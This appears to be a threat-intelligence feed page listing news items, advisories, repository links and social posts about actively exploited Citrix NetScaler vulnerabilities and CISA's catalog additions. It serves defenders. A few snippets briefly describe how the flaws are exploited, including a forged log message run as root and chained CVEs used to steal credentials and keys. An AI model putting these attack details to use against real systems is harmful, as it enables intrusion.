    米サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）がCitrix NetScalerの脆弱性を既知の悪用された脆弱性カタログに追加 米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は、 既知の悪用された脆弱性（KEV）カタログに以下の脆弱性 を追加しました。 CVE-2026-88771（CVSSスコア：9.5）Citrix NetScalerの不適切な入力検証の脆弱性 CVE-2026-88772 (CVSSスコア: 9.5)…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 12:37 UTC
    NetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性（CVE-2026-88771、CVE-2026-88772等）に関する注意喚起 I. 概要 Cloud Software Groupは、2026年9月27日にNetScaler ADCおよびNetScaler Gatewayにおける複数の脆弱性（CVE-2026-88771、CVE-2026-88772、CVE-2026-88773、CVE-2026-88774、CVE-2026-887…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 12:35 UTC
    Citrixは、管理者が電源を抜いた後に2件のNetScalerゼロデイ脆弱性を確認した。 同社の勧告では、NetScaler ADCおよびNetScaler Gatewayに影響を与える8つの脆弱性について取り上げており、リモートコード実行、HTTPリクエストの密輸、DoS攻撃、セキュリティバイパスの問題などが含まれる。 Citrixが悪用を確認した2つのゼロデイ脆弱性は、CVE-2026-88771とCVE-2026-88772として追跡されています。どちらもCVSSス…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 12:34 UTC
    CISAは、悪用されたCitrixの脆弱性を水曜日までに修正するよう連邦政府に命じた。 サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は週末、Citrix NetScalerの2つの重大な脆弱性を悪用する攻撃からシステムを保護するよう、米政府機関に命じた。 Citrixは、各国のサイバーセキュリティ機関、ITサプライヤー、セキュリティチームがCitrixの顧客に個別に連絡を取り、NetScalerアプライアンスをシャットダウンするよう勧告し始めた数日後…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 12:32 UTC
    Citrix社、NetScalerのゼロデイRCE脆弱性が攻撃で悪用されていることを正式に確認 Citrixは、2つの重大なゼロデイ脆弱性（CVE-2026-88771およびCVE-2026-88772）が実際に悪用されていることを確認したことを受け、NetScaler ADCおよびNetScaler Gateway向けの緊急セキュリティアップデートをリリースしました。 どちらのバグもCVSS v4.0スコアが9.5であり、脆弱な顧客管理機器に対してリモートコード実行（RC…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 12:29 UTC
    CISA Adds Two Known Exploited Vulnerabilities to Catalog Release Date September 27, 2026 CVE-2026-88771 Citrix NetScaler Improper Input Validation Vulnerability CVE-2026-88772 Citrix NetScaler Improper Restriction of Operations within the…
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-28 12:27 UTC
    Citrixは、NetScalerのリモートコード実行（RCE）に関する2つのゼロデイ脆弱性が攻撃で悪用されたことを確認した。 Citrixは、NetScalerのリモートコード実行に関する2つの重大な脆弱性（CVE-2026-88771およびCVE-2026-88772として追跡されている）が攻撃に悪用されていることを確認し、これらの脆弱性を修正するためのセキュリティアップデートをリリースしたことを発表しました。 これらの脆弱性は、サイバーセキュリティ研究者、ITプロバイ…
    Open source
  • social bsky.app @vulnerability-lookup.social.circl.lu.ap.brid.gy 2026-10-28 01:30 UTC
    💥 New KEV entry in the Shadow Server catalog (@shadowserver) CVE-2026-88771 - Confirmed Exploitation 👉 https://vulnerability.circl.lu/vuln/CVE-2026-88771
    Open source
  • social bsky.app @news.karthihegde.dev 2026-10-28 00:00 UTC
    Use TLS SNI to hide your servers (incl. Citrix) from IP-based mass exploitation Discussion | hackernews | Author: flixf #Security
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-27 19:51 UTC
    警告：Citrix NetScalerの未パッチ適用済みRCEゼロデイ脆弱性2件が現在悪用されています Citrixは9月27日、リモートコード実行を可能にするCitrix NetScaler ADCおよびNetScaler Gatewayの2つの重大な脆弱性が実際に悪用されたことを確認した。同社は、これら2つの脆弱性に加え、他の6つの脆弱性に対する修正プログラムをリリースした。2つの脆弱性のうち1つは、デフォルト構成を含む、影響を受けるバージョンのすべての展開に影響を与え…
    Open source
  • social bsky.app @hendryadrian.bsky.social 2026-10-27 19:48 UTC
    The article says unidentified actors exploited undisclosed NetScaler ADC/Gateway flaws in September 2026, prompting emergency warnings and Citrix patches for CVE-2026-88771 through CVE-2026-88778. It argues faster detection and coordinatio…
    Open source
  • advisory rapid7.com 2026-10-26 17:36 UTC
    CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder - Rapid7
    Open source
  • social infosec.exchange @117354334421158714 2026-10-25 07:36 UTC
    CVE-2026-88771 + CVE-2026-88772 — NetScaler zero-days, both in KEV 88771: fake pitboss crash message in the log → ns_monuploadd_err.pl fires it as root up to 24 hours later. No auth, no config — whole fleet in scope. 88772: DTLS heap overf…
    Open source
  • social mastodon.social @117493634493945266 2026-10-25 07:36 UTC
    CVE-2026-88771 + CVE-2026-88772 — NetScaler zero-days, both in KEV 88771: fake pitboss crash message in the log → ns_monuploadd_err.pl fires it as root up to 24 hours later. No auth, no config — whole fleet in scope. 88772: DTLS heap overf…
    Open source
  • social t.me GithubRedTeam 2026-10-24 16:07 UTC
    🚨 GitHub 监控消息提醒 🚨 发现关键词： #Exploit #CVE 📦 项目名称： netscaler-cve-2026-88771-check 👤 项目作者： completetech-security 🛠 开发语言： Python ⭐ Star数量： 0 | 🍴 Fork数量： 0 📅 更新时间： 2026-10-24 16:00:04 📝 项目描述： Offline evidence checker for NetScaler CVE-2026-88771.…
    Open source
  • social bsky.app @r-blueteamsec.bsky.social 2026-10-23 20:54 UTC
    CVE-2026-88771: Inside the Exploitation of a Critical NetScaler RCE Vulnerability
    Open source
  • code github.com CompleteTech-LLC 2026-10-23 20:02 UTC
    CompleteTech-LLC/netscaler-cve-2026-88771-check
    Open source
  • code github.com completetech-security 2026-10-23 20:02 UTC
    completetech-security/netscaler-cve-2026-88771-check
    Open source
  • code github.com CompleTetech-Security 2026-10-23 20:02 UTC
    CompleTetech-Security/netscaler-cve-2026-88771-check
    Open source
  • code github.com CompleTech-Security 2026-10-23 20:02 UTC
    CompleTech-Security/netscaler-cve-2026-88771-check
    Open source
  • code github.com CompleteTech-Security 2026-10-23 20:02 UTC
    CompleteTech-Security/netscaler-cve-2026-88771-check
    Open source
  • code github.com CompleteTech-Security 2026-10-23 20:02 UTC
    CompleteTech-Security/netscaler-pitscaler-cve-2026-88771-check
    Open source
  • social bsky.app @thedailytechfeed.com 2026-10-23 11:45 UTC
    Citrix NetScaler servers are being breached via CVE-2026-88771 using web shells & malware—patch and audit now. #NetScaler #CVE2026-88771 #RCE #WebShell #PatchNow #SecurityNews https://thedailytechfeed.com/attackers-actively-exploiting-citr…
    Open source
  • news gbhackers.com 2026-10-23 09:17 UTC
    Critical Citrix NetScaler RCE Vulnerability Under Active Attack as Hackers Deliver FreeBSD Malware - GBHackers News
    Open source
  • social bsky.app @infosec.skyfleet.blue 2026-10-23 08:35 UTC
    Hackers Exploit Critical Citrix NetScaler RCE Flaw to Deploy Web Shells and Malware
    Open source
  • social bsky.app @newsfacts.bsky.social 2026-10-23 08:30 UTC
    Kritieke kwetsbaarheid in Citrix NetScaler maakt remote commando-uitvoering moge Een ernstige beveiligingskwetsbaarheid, gecategoriseerd als CVE-2026-88771, is ontdekt in Citrix NetScaler ADC en NetScaler Gateway. Deze kwetsbaarheid, met e…
    Open source
  • news threatsensor.csurface.io 2026-10-23 07:03 UTC
    Exploit for CVE-2026-88771 Targets Citrix NetScaler ADC and Gateway
    Open source
  • social news.ycombinator.com eustoria 2026-10-22 20:37 UTC
    Taking 'execute logging' a bit too seriously – CVE-2026-88771
    Open source
  • social bsky.app @threatroundup.bsky.social 2026-10-22 15:06 UTC
    Rapid7: attackers chained CVE-2026-88771 + CVE-2026-88779 on NetScaler, turned forced crashes into root, then hid on both HA nodes and stole LDAP binds and SSL keys. Patch to the CTX697174 builds, then hunt. threatroundup.com/news/netscal.…
    Open source
  • news bitsight.com 2026-10-21 15:01 UTC
    CVE-2026-109618 and CVE-2026-109619 (PHP2Shell): Two Critical PHP Remote Code Execution Flaws - Bitsight
    Open source
  • code github.com ceterion 2026-10-21 14:36 UTC
    ceterion/netscaler-quickcheck
    Open source
  • advisory vulnerability.circl.lu 2026-10-21 09:03 UTC
    Open source
  • social bsky.app @undercodenews.bsky.social 2026-10-20 20:37 UTC
    Rapid7 Uncovers NetScaler Attack Chain Exploiting Two Critical CVEs to Gain Root Access and Steal Configuration Data + Video Introduction: Chained Vulnerabilities Turn Network Gateways Into Attacker Entry Points A Rapid7 investigation has…
    Open source
  • social bsky.app @hendryadrian.bsky.social 2026-10-20 19:48 UTC
    Rapid7 traced a NetScaler intrusion that chained CVE-2026-88771 and CVE-2026-88779 to gain root execution, maintain access, map internal systems, and exfiltrate configuration data. The investigation provides technical findings and defensiv…
    Open source
  • social bsky.app @winsontang.com 2026-10-19 23:32 UTC
    Protect your NetScaler Gateway from future vulnerabilities! CVE-2026-88771 allows attackers to execute commands pre-sign-in. With patching often delayed, it's crucial to prioritize sign-in decisions ahead of vulnerable code. Stay proactiv……
    Open source
  • advisory rapid7.com 2026-10-19 15:42 UTC
    NetScaler intrusions chaining CVE-2026-88771 and CVE-2026-88779 - Rapid7
    Open source
  • social bsky.app @richardihogan.bsky.social 2026-10-19 14:10 UTC
    A new NetScaler Gateway flaw, CVE-2026-88771, lets attackers run commands before login. If patching will lag, move the sign-in check ahead of the exposed code; it is a practical stopgap, not magic. https://blog.cloudflare.com/protect-your-…
    Open source
  • social bsky.app @cybernewsph.com 2026-10-19 14:02 UTC
    “2026-88771 lets attackers run commands on NetScaler Gateway before anyone signs in”, Cloudflare Blog reports. #cybersecurity
    Open source
  • social bsky.app @cloudflare.social 2026-10-19 13:47 UTC
    CVE-2026-88771 lets attackers run commands on NetScaler Gateway before anyone signs in. Patching takes time most teams don't have, so the sign-in decision has to move in front of the vulnerable code. Here’s what you need to do now: https:/…
    Open source
  • social bsky.app @crowdsec.bsky.social 2026-10-19 13:27 UTC
    CrowdSec saw requests matching CVE-2026-88771 on Sep 22, five days before Citrix published it. CVSS 9.5 in NetScaler ADC and Gateway: no login, root on the box. Low signal counts, not low risk: two addresses went after this CVE alone. 👉 ww…
    Open source
  • social bsky.app @blog.cloudflare.com.web.brid.gy 2026-10-19 13:00 UTC
    Open source

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-88771
support.citrix.com
GitHub CVE
https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-88771